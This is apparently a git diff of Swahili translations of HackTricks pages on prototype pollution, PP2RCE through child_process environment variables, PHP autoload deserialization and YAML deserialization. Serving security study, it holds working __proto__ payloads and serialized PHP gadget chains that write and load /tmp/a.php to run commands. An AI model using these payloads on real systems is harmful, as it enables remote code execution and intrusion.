inachunguza udhaifu unaohusiana na uchafuzi wa prototype katika injini za templeti, hasa Handlebars na Pug. #### Uchambuzi wa Uthibitisho wa Handlebars -Injini ya templeti ya Handlebars inakabiliwa na shambulio la uchafuzi wa prototype. Uthibitisho huu unatokana na kazi maalum ndani ya faili ya `javascript-compiler.js`. Kazi ya `appendContent`, kwa mfano, inakusanya `pendingContent` ikiwa ipo, wakati kazi ya `pushSource` inarejesha `pendingContent` kuwa `undefined` baada ya kuongeza chanzo. +Injini ya templeti ya Handlebars inakabiliwa na shambulio la uchafuzi wa prototype. Uthibitisho huu unatokana na kazi maalum ndani ya faili ya `javascript-compiler.js`. Kazi ya `appendContent`, kwa mfano, inaunganisha `pendingContent` ikiwa ipo, wakati kazi ya `pushSource` inarejesha `pendingContent` kuwa `undefined` baada ya kuongeza chanzo. **Mchakato wa Utekelezaji** -Utekelezaji unatumia AST (Abstract Syntax Tree) inayozalishwa na Handlebars, ikifuatia hatua hizi: +Utekelezaji unatumia AST (Miti ya Sintaksia ya Abstrakti) inayozalishwa na Handlebars, ikifuatia hatua hizi: -1. **Manipulation of the Parser**: Kwanza, parser, kupitia node ya `NumberLiteral`, inasisitiza kwamba thamani ni za nambari. Uchafuzi wa prototype unaweza kuzunguka hili, kuruhusu kuingizwa kwa nyuzi zisizo za nambari. -2. **Handling by the Compiler**: Mkompila anaweza kushughulikia Objekti ya AST au templeti ya nyuzi. Ikiwa `input.type` ni sawa na `Program`, ingizo linachukuliwa kama limeandaliwa mapema, ambalo linaweza kutumiwa. -3. **Injection of Code**: Kupitia manipulation ya `Object.prototype`, mtu anaweza kuingiza msimbo wowote katika kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa msimbo wa mbali. +1. **Manipulation of the Parser**: Kwanza, parser, kupitia node ya `NumberLiteral`, inasisitiza kwamba thamani ni za nambari. Uchafuzi wa prototype unaweza kuzunguka hili, kuruhusu kuingiza nyuzi zisizo za nambari. +2. **Handling by the Compiler**: Mkompila anaweza kushughulikia Objekti ya AST au templeti ya nyuzi. Ikiwa `input.type` ni sawa na `Program`, ingizo linachukuliwa kama limeandaliwa mapema, ambalo linaweza kutumika. +3. **Injection of Code**: Kupitia manipulation ya `Object.prototype`, mtu anaweza kuingiza msimbo wa bahati mbaya katika kazi ya templeti, ambayo inaweza kusababisha utekelezaji wa msimbo wa mbali. Mfano unaoonyesha utekelezaji wa udhaifu wa Handlebars: ```javascript @@ -342,17 +342,5 @@ Ili kupunguza hatari ya uchafuzi wa prototype, mikakati iliyoorodheshwa hapa chi 4. **Vitu Visivyo na Prototype**: Vitu bila mali za prototype vinaweza kuundwa kwa kutumia `Object.create(null)`. 5. **Matumizi ya Ramani**: Badala ya `Object`, `Map` inapaswa kutumika kuhifadhi jozi za funguo-thamani. 6. **Sasisho za Maktaba**: Vidokezo vya usalama vinaweza kuingizwa kwa kusasisha maktaba mara kwa mara. -7. **Zana za Linter na Uchambuzi wa Kimuundo**: Tumia zana kama ESLint pamoja na nyongeza zinazofaa kugundua na kuzuia udhaifu wa uchafuzi wa prototype. -8. **Mapitio ya Kanuni**: Tekeleza mapitio ya kina ya kanuni ili kubaini na kurekebisha hatari zinazoweza kutokea zinazohusiana na uchafuzi wa prototype. -9. **Mafunzo ya Usalama**: Wafundishe waendelezaji kuhusu hatari za uchafuzi wa prototype na mbinu bora za kuandika kanuni salama. -10. **Kutumia Maktaba kwa Uangalifu**: Kuwa makini unapokuwa ukitumia maktaba za upande wa tatu. Kadiria hali yao ya usalama na pitia kanuni zao, hasa zile zinazoshughulikia vitu. -11. **Ulinzi wa Wakati wa Uendeshaji**: Tumia mitambo ya ulinzi wa wakati wa uendeshaji kama vile kutumia pakiti za npm zinazolenga usalama ambazo zinaweza kugundua na kuzuia mashambulizi ya uchafuzi wa prototype. - -## Marejeleo - -- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) -- [https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l](https://dev.to/caffiendkitten/prototype-inheritance-pollution-2o5l) -- [https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7](https://itnext.io/prototype-pollution-attack-on-nodejs-applications-94a8582373e7) -- [https://blog.p6.is/AST-Injection/](https://blog.p6.is/AST-Injection/) - -{{#include ../../../banners/hacktricks-training.md}} +7. **Zana za Linter na Uchambuzi wa Kijamii**: Tumia zana kama ESLint zikiwa na nyongeza zinazofaa kugundua na kuzuia udhaifu wa uchafuzi wa prototype. +8. **Mapitio ya Kanuni**: Tekeleza mapitio ya kina ya diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md index e3db6bdbb..2aefa1e9d 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/client-side-prototype-pollution.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## Kugundua kwa kutumia Zana za Moja kwa Moja +## Kugundua kwa kutumia Zana za Kiotomatiki Zana [**https://github.com/dwisiswant0/ppfuzz**](https://github.com/dwisiswant0/ppfuzz?tag=v1.0.0)**,** [**https://github.com/kleiton0x00/ppmap**](https://github.com/kleiton0x00/ppmap) **na** [**https://github.com/kosmosec/proto-find**](https://github.com/kosmosec/proto-find) zinaweza kutumika **kupata udhaifu wa uchafuzi wa prototype**. -Zaidi ya hayo, unaweza pia kutumia **nyongeza ya kivinjari** [**PPScan**](https://github.com/msrkp/PPScan) ili **kuangalia** **kiotomatiki** **kurasa** unazofikia kwa udhaifu wa uchafuzi wa prototype. +Zaidi ya hayo, unaweza pia kutumia **nyongeza ya kivinjari** [**PPScan**](https://github.com/msrkp/PPScan) **ku** **scan** **kiotomatiki** **kurasa** unazofikia kwa udhaifu wa uchafuzi wa prototype. ### Kurekebisha mahali ambapo mali inatumika ```javascript @@ -23,7 +23,7 @@ return "test" Mara tu udhaifu wa prototype pollution unapogundulika na zana yoyote, na ikiwa msimbo si mgumu kupita kiasi, unaweza kupata udhaifu kwa kutafuta maneno muhimu kama `location.hash`, `decodeURIComponent`, au `location.search` katika Chrome Developer Tools. Njia hii inakuwezesha kubaini sehemu iliyo hatarini ya msimbo wa JavaScript. -Kwa misimbo mikubwa na ngumu zaidi, njia rahisi ya kugundua msimbo hatarini inajumuisha hatua zifuatazo: +Kwa misimbo mikubwa na ngumu zaidi, njia rahisi ya kugundua msimbo ulio hatarini inajumuisha hatua zifuatazo: 1. Tumia zana kubaini udhaifu na kupata payload iliyoundwa kuweka mali katika mjenzi. Mfano uliopewa na ppmap unaweza kuonekana kama: `constructor[prototype][ppmap]=reserved`. 2. Weka breakpoint kwenye mstari wa kwanza wa msimbo wa JavaScript utakaotekelezwa kwenye ukurasa. Fanya upya ukurasa na payload, ukisimamisha utekelezaji kwenye breakpoint hii. @@ -48,7 +48,7 @@ debugAccess(Object.prototype, "ppmap") ``` 4. Rudi kwenye tab ya **Sources** na uchague "Resume script execution". JavaScript itaendelea kutekelezwa, na mali ya 'ppmap' itachafuka kama inavyotarajiwa. Kutumia kipande kilichotolewa husaidia kutambua mahali halisi ambapo mali ya 'ppmap' inachafuka. Kwa kuchunguza **Call Stack**, stacks tofauti ambapo uchafuzi ulitokea zinaweza kuonekana. -Unapofanya maamuzi kuhusu stack ipi ya kuchunguza, mara nyingi ni muhimu kulenga stacks zinazohusiana na faili za maktaba za JavaScript, kwani uchafuzi wa prototype hutokea mara nyingi ndani ya maktaba hizi. Tambua stack husika kwa kuchunguza kiambatisho chake kwa faili za maktaba (inaonekana upande wa kulia, kama picha iliyotolewa kwa mwongozo). Katika hali zenye stacks nyingi, kama zile kwenye mistari 4 na 6, chaguo la mantiki ni stack kwenye mstari wa 4, kwani inawakilisha tukio la awali la uchafuzi na hivyo sababu ya msingi ya udhaifu. Kubofya kwenye stack kutakupeleka kwenye msimbo ulio hatarini. +Unapofanya maamuzi kuhusu stack ipi uchunguze, mara nyingi ni muhimu kulenga stacks zinazohusiana na faili za maktaba za JavaScript, kwani uchafuzi wa prototype hutokea mara nyingi ndani ya maktaba hizi. Tambua stack husika kwa kuchunguza kiambatisho chake kwa faili za maktaba (inaonekana upande wa kulia, kama picha iliyotolewa kwa mwongozo). Katika hali zenye stacks nyingi, kama zile kwenye mistari 4 na 6, chaguo la mantiki ni stack kwenye mstari wa 4, kwani inawakilisha tukio la awali la uchafuzi na hivyo sababu ya msingi ya udhaifu. Kubofya kwenye stack kutakupeleka kwenye msimbo ulio hatarini. ![https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg](https://miro.medium.com/max/1400/1*S8NBOl1a7f1zhJxlh-6g4w.jpeg) @@ -56,9 +56,9 @@ Unapofanya maamuzi kuhusu stack ipi ya kuchunguza, mara nyingi ni muhimu kulenga Gadget ni **msimbo ambao utakabiliwa mara tu udhaifu wa PP utakapogundulika**. -Ikiwa programu ni rahisi, tunaweza **kutafuta** **maneno muhimu** kama **`srcdoc/innerHTML/iframe/createElement`** na kupitia msimbo wa chanzo na kuangalia ikiwa inaleta **utendaji wa javascript**. Wakati mwingine, mbinu zilizotajwa zinaweza kutopata gadgets kabisa. Katika kesi hiyo, kupitia msimbo wa chanzo wa safi kunaweza kufichua gadgets nzuri kama mfano ulio hapa chini. +Ikiwa programu ni rahisi, tunaweza **kutafuta** **maneno muhimu** kama **`srcdoc/innerHTML/iframe/createElement`** na kupitia msimbo wa chanzo na kuangalia ikiwa inaleta **utendaji wa javascript**. Wakati mwingine, mbinu zilizotajwa zinaweza kutopata gadgets kabisa. Katika hali hiyo, kupitia msimbo wa chanzo wa safi kunaweza kufichua gadgets nzuri kama mfano ulio hapa chini. -### Mfano wa Kutafuta gadget ya PP katika msimbo wa maktaba ya Mithil +### Mfano wa Kupata gadget ya PP katika msimbo wa maktaba ya Mithil Angalia andiko hili: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/) @@ -67,9 +67,9 @@ Angalia andiko hili: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-chall - [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution) - [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution) -## Kupita kwa sanitizers za HTML kupitia PP +## Kupita kwa HTML Sanitizers kupitia PP -[**Utafiti huu**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) unaonyesha gadgets za PP za kutumia ili **kupita sanitizations** zinazotolewa na baadhi ya maktaba za sanitizers za HTML: +[**Utafiti huu**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) unaonyesha gadgets za PP za kutumia ili **kupita sanizations** zinazotolewa na baadhi ya maktaba za HTML sanitizers: - **sanitize-html** diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md index 21477c115..5f0aee4f9 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/express-prototype-pollution-gadgets.md @@ -65,9 +65,9 @@ Inawezekana kubadilisha **kodi ya hali iliyorudishwa** kwa kutumia payload ya PP ```json { "__proto__": { "status": 510 } } ``` -### Hitilafu +### Kosa -Unapoweka kwenye prototype kwa kutumia primitive kama string, inazalisha **operesheni isiyo na athari kwa sababu prototype inapaswa kuwa kitu**. Ikiwa unajaribu kuweka kitu cha prototype kwenye `Object.prototype` yenyewe, hii itasababisha **kutoa hitilafu**. Tunaweza kutumia tabia hizi mbili **kubaini ikiwa uchafuzi wa prototype umefanikiwa**: +Unapoweka kwenye prototype kwa kutumia primitive kama string, inazalisha **operesheni isiyo na athari kwa sababu prototype inapaswa kuwa kitu**. Ikiwa unajaribu kuweka kitu cha prototype kwenye `Object.prototype` yenyewe, hii itasababisha **kutoa hitilafu**. Tunaweza kutumia tabia hizi mbili ili **kubaini ikiwa uchafuzi wa prototype umefanikiwa**: ```javascript ;({}).__proto__.__proto__ = {}( //throws type exception @@ -87,16 +87,16 @@ Zaidi ya hayo, katika hali ambapo maktaba kama Lodash inatumika, kuweka mali kup ``` ## Misc -### Ruhusu Mipira +### Ruhusu Vidoti Kuna chaguo katika Express kinachokuruhusu **kuunda vitu kutoka kwa vigezo vya mfuatano wa swali**.\ Unaweza hakika kukitumia katika **mnyororo** wa hitilafu ili kutumia **udhaifu wa uchafuzi wa prototype**. ```json { "__proto__": { "allowDots": true } } ``` -**`?foo.bar=baz` unda kitu katika Node.** +**`?foo.bar=baz` inaunda kitu katika Node.** -## Marejeleo +## Marejeo - [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution) diff --git a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md index 48101e33c..bb2210e06 100644 --- a/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md +++ b/src/pentesting-web/deserialization/nodejs-proto-prototype-pollution/prototype-pollution-to-rce.md @@ -41,7 +41,7 @@ var proc = fork("a_file.js") **PP2RCE** inamaanisha **Prototype Pollution to RCE** (Remote Code Execution). -Kulingana na hii [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wakati **mchakato unapoanzishwa** kwa njia fulani kutoka **`child_process`** (kama `fork` au `spawn` au nyinginezo) inaita njia `normalizeSpawnArguments` ambayo ni **gadget ya prototype pollution kuunda env vars mpya**: +Kulingana na hii [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) wakati **mchakato unazalishwa** kwa njia fulani kutoka **`child_process`** (kama `fork` au `spawn` au nyinginezo) inaita njia `normalizeSpawnArguments` ambayo ni **gadget ya prototype pollution kuunda env vars mpya**: ```javascript //See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686 @@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution } } ``` -Angalia hiyo code unaweza kuona inawezekana **kuambukiza `envPairs`** tu kwa **kuharibu** **attribute `.env`.** +Angalia hiyo code unaweza kuona inawezekana **kuharibu `envPairs`** tu kwa **kuongeza uchafu** kwenye **attribute `.env`.** -### **Kuambukiza `__proto__`** +### **Kuharibu `__proto__`** > [!WARNING] -> Kumbuka kwamba kutokana na jinsi **`normalizeSpawnArguments`** kazi ya kazi kutoka kwa maktaba ya **`child_process`** ya node, wakati kitu kinapoitwa ili **kuweka variable mpya ya env** kwa mchakato unahitaji tu **kuharibu chochote**.\ -> Kwa mfano, ikiwa unafanya `__proto__.avar="valuevar"` mchakato utaanzishwa na var inayoitwa `avar` yenye thamani `valuevar`. +> Kumbuka kwamba kutokana na jinsi **`normalizeSpawnArguments`** inavyofanya kazi kutoka kwa maktaba ya **`child_process`** ya node, wakati kitu kinapoitwa ili **kuweka variable mpya ya env** kwa mchakato unahitaji tu **kuongeza uchafu chochote**.\ +> Kwa mfano, ukifanya `__proto__.avar="valuevar"` mchakato utaanzishwa na var inayoitwa `avar` yenye thamani `valuevar`. > -> Hata hivyo, ili **variable ya env iwe ya kwanza** unahitaji **kuharibu** **attribute `.env`** na (tu katika baadhi ya mbinu) var hiyo itakuwa **ya kwanza** (ikuruhusu shambulio). +> Hata hivyo, ili **variable ya env iwe ya kwanza** unahitaji **kuongeza uchafu** kwenye **attribute `.env`** na (tu katika baadhi ya mbinu) var hiyo itakuwa **ya kwanza** (ikuruhusu shambulio). > -> Ndio maana **`NODE_OPTIONS`** **haina ndani ya `.env`** katika shambulio linalofuata. +> Ndio maana **`NODE_OPTIONS`** **haipo ndani ya `.env`** katika shambulio linalofuata. ```javascript const { execSync, fork } = require("child_process") @@ -124,7 +124,7 @@ var proc = fork("a_file.js") Payload inayofanana na ile ya awali yenye mabadiliko kadhaa ilipendekezwa katika [**hiki andiko**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Tofauti kuu ni: -- Badala ya kuhifadhi **payload** ya nodejs ndani ya faili `/proc/self/environ`, inaihifadhi **ndani ya argv0** ya **`/proc/self/cmdline`**. +- Badala ya kuhifadhi **payload** ya nodejs ndani ya faili `/proc/self/environ`, inaihifadhi i**ndani ya argv0** ya **`/proc/self/cmdline`**. - Kisha, badala ya kuhitaji kupitia **`NODE_OPTIONS`** faili `/proc/self/environ`, inahitaji **`/proc/self/cmdline`**. ```javascript const { execSync, fork } = require("child_process") @@ -228,9 +228,9 @@ var proc = execFile("/usr/bin/node") // Windows - not working ``` Ili **`execFile`** ifanye kazi, **Lazima** itekeleze node ili NODE_OPTIONS ifanye kazi.\ -Ikiwa **haifanyi** kazi ya **node**, unahitaji kutafuta jinsi ya **kubadilisha utekelezaji** wa chochote kinachotekelezwa **kwa kutumia mabadiliko ya mazingira** na kuyapanga. +Ikiwa **haifanyi** kazi ya **node**, unahitaji kutafuta jinsi unavyoweza **kubadilisha utekelezaji** wa chochote kinachotekelezwa **kwa kutumia mabadiliko ya mazingira** na kuyapanga. -Mbinu **zingine** **zinafanya kazi** bila hitaji hili kwa sababu **inawezekana kubadilisha** **kile kinachotekelezwa** kupitia prototype pollution. (Katika kesi hii, hata kama unaweza kupunguza `.shell`, huwezi kupunguza kile kinachotekelezwa). +Mbinu **zingine** **zinafanya kazi** bila hitaji hili kwa sababu **inawezekana kubadilisha** **kile kinachotekelezwa** kupitia uchafuzi wa prototype. (Katika kesi hii, hata kama unaweza kuchafua `.shell`, huwezi kuchafua kile kinachotekelezwa). @@ -463,11 +463,11 @@ var proc = spawnSync("something") ## Kulazimisha Kuanzisha -Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo **inaita `spawn`** inahitaji kuwa **ipo** (mbinu zote za **`child_process`** zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa **sehemu ya msimbo**, lakini je, ni nini kitatokea ikiwa msimbo **hauiiti**. +Katika mifano iliyopita ulishuhudia jinsi ya kuanzisha gadget, kazi ambayo **inaita `spawn`** inahitaji kuwa **ipo** (mbinu zote za **`child_process`** zinazotumika kutekeleza kitu zinaiita). Katika mfano uliopita hiyo ilikuwa **sehemu ya msimbo**, lakini je, ikiwa msimbo **hauiiti**. ### Kudhibiti njia ya faili ya require -Katika [**andika nyingine**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) mtumiaji anaweza kudhibiti njia ya faili ambapo **`require`** itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu **kumpata faili ya `.js` ndani ya mfumo** ambayo itatekeleza njia ya kuanzisha wakati inapoingizwa.\ +Katika [**andika nyingine**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) mtumiaji anaweza kudhibiti njia ya faili ambapo **`require`** itatekelezwa. Katika hali hiyo, mshambuliaji anahitaji tu **kumpata faili ya `.js` ndani ya mfumo** ambayo itatekeleza mbinu ya kuanzisha wakati inapoingizwa.\ Baadhi ya mifano ya faili za kawaida zinazoita kazi ya kuanzisha wakati zinapoingizwa ni: - /path/to/npm/scripts/changelog.js @@ -513,7 +513,7 @@ Kwa hivyo, ikiwa hitaji linafanywa baada ya uchafuzi wako wa prototype na hakuna #### Hitaji la moja kwa moja -Ikiwa hitaji lililofanywa ni **moja kwa moja** (`require("bytes")`) na **pakiti haina sehemu ya msingi** katika faili la `package.json`, unaweza **kupunguza sifa ya `main`** na kufanya **hitaji lifanye faili tofauti**. +Ikiwa hitaji lililofanywa ni **moja kwa moja** (`require("bytes")`) na **pakiti haina sehemu kuu** katika faili la `package.json`, unaweza **kupunguza sifa ya `main`** na kufanya **hitaji lifanye faili tofauti**. {{#tabs}} {{#tab name="exploit"}} diff --git a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md index 5cfddeae6..1e9277982 100644 --- a/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md +++ b/src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md @@ -6,13 +6,13 @@ Kwanza, unapaswa kuangalia ni nini [**Autoloading Classes**](https://www.php.net ## PHP deserialization + spl_autoload_register + LFI/Gadget -Tuko katika hali ambapo tumepata **PHP deserialization katika webapp** bila **maktaba** inayoweza kuathiriwa na gadgets ndani ya **`phpggc`**. Hata hivyo, katika konteina hiyo hiyo kulikuwa na **webapp tofauti ya composer yenye maktaba zinazoweza kuathiriwa**. Kwa hivyo, lengo lilikuwa ni **kuchaji loader ya composer ya webapp nyingine** na kuitumia ku **load gadget ambayo itatumia maktaba hiyo kwa gadget** kutoka kwa webapp inayoweza kuathiriwa na deserialization. +Tuko katika hali ambapo tumepata **PHP deserialization katika webapp** bila **maktaba** inayoweza kuathiriwa na gadgets ndani ya **`phpggc`**. Hata hivyo, katika konteina hiyo hiyo kulikuwa na **webapp tofauti ya composer yenye maktaba zinazoweza kuathiriwa**. Kwa hivyo, lengo lilikuwa ni **kuchukua loader ya composer ya webapp nyingine** na kuitumia ku **load gadget ambayo itatumia maktaba hiyo kwa gadget** kutoka kwa webapp inayoweza kuathiriwa na deserialization. Hatua: - Umepata **deserialization** na **hakuna gadget** katika msimbo wa sasa wa app -- Unaweza kutumia **`spl_autoload_register`** kama ifuatavyo ili **kuchaji faili yoyote ya ndani yenye kiambishi cha `.php`** -- Kwa hiyo unatumia deserialization ambapo jina la darasa litakuwa ndani ya **`$name`**. Huwezi kutumia "/" au "." katika jina la darasa katika kitu kilichosajiliwa, lakini **msimbo** unabadilisha **michirizi** ("\_") **kuwa slashes** ("/"). Hivyo jina la darasa kama `tmp_passwd` litabadilishwa kuwa `/tmp/passwd.php` na msimbo utajaribu kulichaji.\ +- Unaweza kutumia **`spl_autoload_register`** kama ifuatavyo ili **kuchukua faili yoyote ya ndani yenye kiambishi cha `.php`** +- Kwa hiyo unatumia deserialization ambapo jina la darasa litakuwa ndani ya **`$name`**. Huwezi kutumia "/" au "." katika jina la darasa katika kitu kilichosajiliwa, lakini **msimbo** unabadilisha **michoro** ("\_") **kuwa slashes** ("/"). Hivyo jina la darasa kama `tmp_passwd` litabadilishwa kuwa `/tmp/passwd.php` na msimbo utajaribu kulichukua.\ Mfano wa **gadget** utakuwa: **`O:10:"tmp_passwd":0:{}`** ```php spl_autoload_register(function ($name) { @@ -41,24 +41,24 @@ require __DIR__ . $filename; Katika kesi yangu, sikuwa na kitu kama hicho, lakini kulikuwa ndani ya **container hiyo hiyo** ukurasa mwingine wa mtandao wa composer wenye **maktaba iliyo hatarini kwa `phpggc` gadget**. - Ili kupakia maktaba hii nyingine, kwanza unahitaji **kupakia loader ya composer ya programu hiyo nyingine** (kwa sababu ya ile ya programu ya sasa haitafikia maktaba za nyingine.) **Kujua njia ya programu**, unaweza kufanikisha hii kwa urahisi sana na: **`O:28:"www_frontend_vendor_autoload":0:{}`** (Katika kesi yangu, loader ya composer ilikuwa katika `/www/frontend/vendor/autoload.php`) -- Sasa, unaweza **kupakia** loader ya **app nyingine**, hivyo ni wakati wa **`kuunda phpgcc`** **payload** ya kutumia. Katika kesi yangu, nilitumia **`Guzzle/FW1`**, ambayo iliniruhusu **kuandika faili yoyote ndani ya mfumo wa faili**. -- KUMBUKA: **gadget iliyoundwa haikufanya kazi**, ili ifanye kazi nilifanya **mabadiliko** kwenye payload hiyo **`chain.php`** ya phpggc na kuweka **sifa zote** za madarasa **kutoka binafsi hadi umma**. La sivyo, baada ya deserialization ya string, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote. -- Sasa tuna njia ya **kupakia loader ya app nyingine** na kuwa na **phpggc payload inayofanya kazi**, lakini tunahitaji **kufanya hivi katika OMBI MOJA ili loader ipakuliwe wakati gadget inatumika**. Kwa hiyo, nilituma array iliyosawazishwa yenye vitu vyote viwili kama: -- Unaweza kuona **kwanza loader ikipakiwa na kisha payload** +- Sasa, unaweza **kupakia** loader ya **program nyingine**, hivyo ni wakati wa **`kuunda phpgcc`** **payload** ya kutumia. Katika kesi yangu, nilitumia **`Guzzle/FW1`**, ambayo iliniruhusu **kuandika faili yoyote ndani ya mfumo wa faili**. +- KUMBUKA: **gadget iliyoundwa haikufanya kazi**, ili ifanye kazi nilifanya **mabadiliko** kwenye payload hiyo **`chain.php`** ya phpggc na kuweka **sifa zote** za madarasa **kutoka private hadi public**. La sivyo, baada ya deserializing string, sifa za vitu vilivyoundwa hazikuwa na thamani yoyote. +- Sasa tuna njia ya **kupakia loader ya programu nyingine** na kuwa na **phpggc payload inayofanya kazi**, lakini tunahitaji **kufanya hivi katika OMBI MOJA ili loader ipakuliwe wakati gadget inatumika**. Kwa hiyo, nilituma array iliyosawazishwa yenye vitu vyote viwili kama: +- Unaweza kuona **kwanza loader ikipakuliwa na kisha payload** ```php a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` -- Sasa, tunaweza **kuunda na kuandika faili**, hata hivyo, mtumiaji **hakuweza kuandika katika folda yoyote ndani ya seva ya wavuti**. Hivyo, kama unavyoona katika payload, PHP inaita **`system`** na **base64** fulani inaundwa katika **`/tmp/a.php`**. Kisha, tunaweza **kurudia aina ya kwanza ya payload** ambayo tulitumia kama LFI ili kupakia mzigo wa composer wa programu nyingine ya wavuti **kupakia faili iliyoundwa `/tmp/a.php`**. Ongeza tu kwenye gadget ya deserialization: +- Sasa, tunaweza **kuunda na kuandika faili**, hata hivyo, mtumiaji **hakuweza kuandika katika folda yoyote ndani ya seva ya wavuti**. Hivyo, kama unavyoona katika payload, PHP inaita **`system`** na **base64** fulani inaundwa katika **`/tmp/a.php`**. Kisha, tunaweza **kurudia aina ya kwanza ya payload** ambayo tulitumia kama LFI ili kupakia loader ya composer ya programu nyingine ya wavuti **kupakia faili iliyoundwa `/tmp/a.php`**. Ongeza tu kwenye gadget ya deserialization: ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} ``` **Muhtasari wa payload** - **Pakia autoload ya composer** ya webapp tofauti katika kontena moja -- **Pakia gadget ya phpggc** ili kutumia maktaba kutoka kwa webapp nyingine (webapp ya awali iliyoathirika na deserialization haikuwa na gadget yoyote kwenye maktaba zake) -- Gadget hiyo itaunda **faili yenye payload ya PHP** ndani yake katika /tmp/a.php yenye amri za uhalifu (mtumiaji wa webapp hawezi kuandika katika folda yoyote ya webapp yoyote) +- **Pakia gadget ya phpggc** ili kutumia maktaba kutoka kwa webapp nyingine (webapp ya awali iliyo hatarini kwa deserialization haikuwa na gadget yoyote kwenye maktaba zake) +- Gadget itaunda **faili yenye payload ya PHP** ndani yake katika /tmp/a.php yenye amri za uhalifu (mtumiaji wa webapp hawezi kuandika katika folda yoyote ya webapp yoyote) - Sehemu ya mwisho ya payload yetu itatumia **pakiwa faili ya php iliyozalishwa** ambayo itatekeleza amri -Nilihitaji **kuita hii deserialization mara mbili**. Katika majaribio yangu, mara ya kwanza faili la `/tmp/a.php` lilikuwa limeundwa lakini halikupakiwa, na mara ya pili lilipakiwa kwa usahihi. +Nilihitaji **kuita hii deserialization mara mbili**. Katika majaribio yangu, mara ya kwanza faili ya `/tmp/a.php` ilizalishwa lakini haikupakiwa, na mara ya pili ilipakiwa vizuri. {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/python-yaml-deserialization.md b/src/pentesting-web/deserialization/python-yaml-deserialization.md index 2c6c12e2d..5bdef1ed1 100644 --- a/src/pentesting-web/deserialization/python-yaml-deserialization.md +++ b/src/pentesting-web/deserialization/python-yaml-deserialization.md @@ -26,7 +26,7 @@ Angalia jinsi **tuple** si aina ya data ya msingi na kwa hivyo ilitolewa **seria ![](<../../images/image (1040).png>) -**safe_load()** au **safe_load_all()** hutumia SafeLoader na **haziungi mkono uondoaji wa vitu vya darasa**. Mfano wa uondoaji wa vitu vya darasa: +**safe_load()** au **safe_load_all()** hutumia SafeLoader na **haziungi mkono uhamasishaji wa vitu vya darasa**. Mfano wa uhamasishaji wa vitu vya darasa: ```python import yaml from yaml import UnsafeLoader, FullLoader, Loader @@ -45,7 +45,7 @@ print(yaml.unsafe_load_all(data)) # #The other ways to load data will through an error as they won't even attempt to #deserialize the python object ``` -Kifungu kilichopita kilitumia **unsafe_load** kupakia darasa la python lililohifadhiwa. Hii ni kwa sababu katika **toleo >= 5.1**, hairuhusu **kufanya deserialization ya darasa lolote la 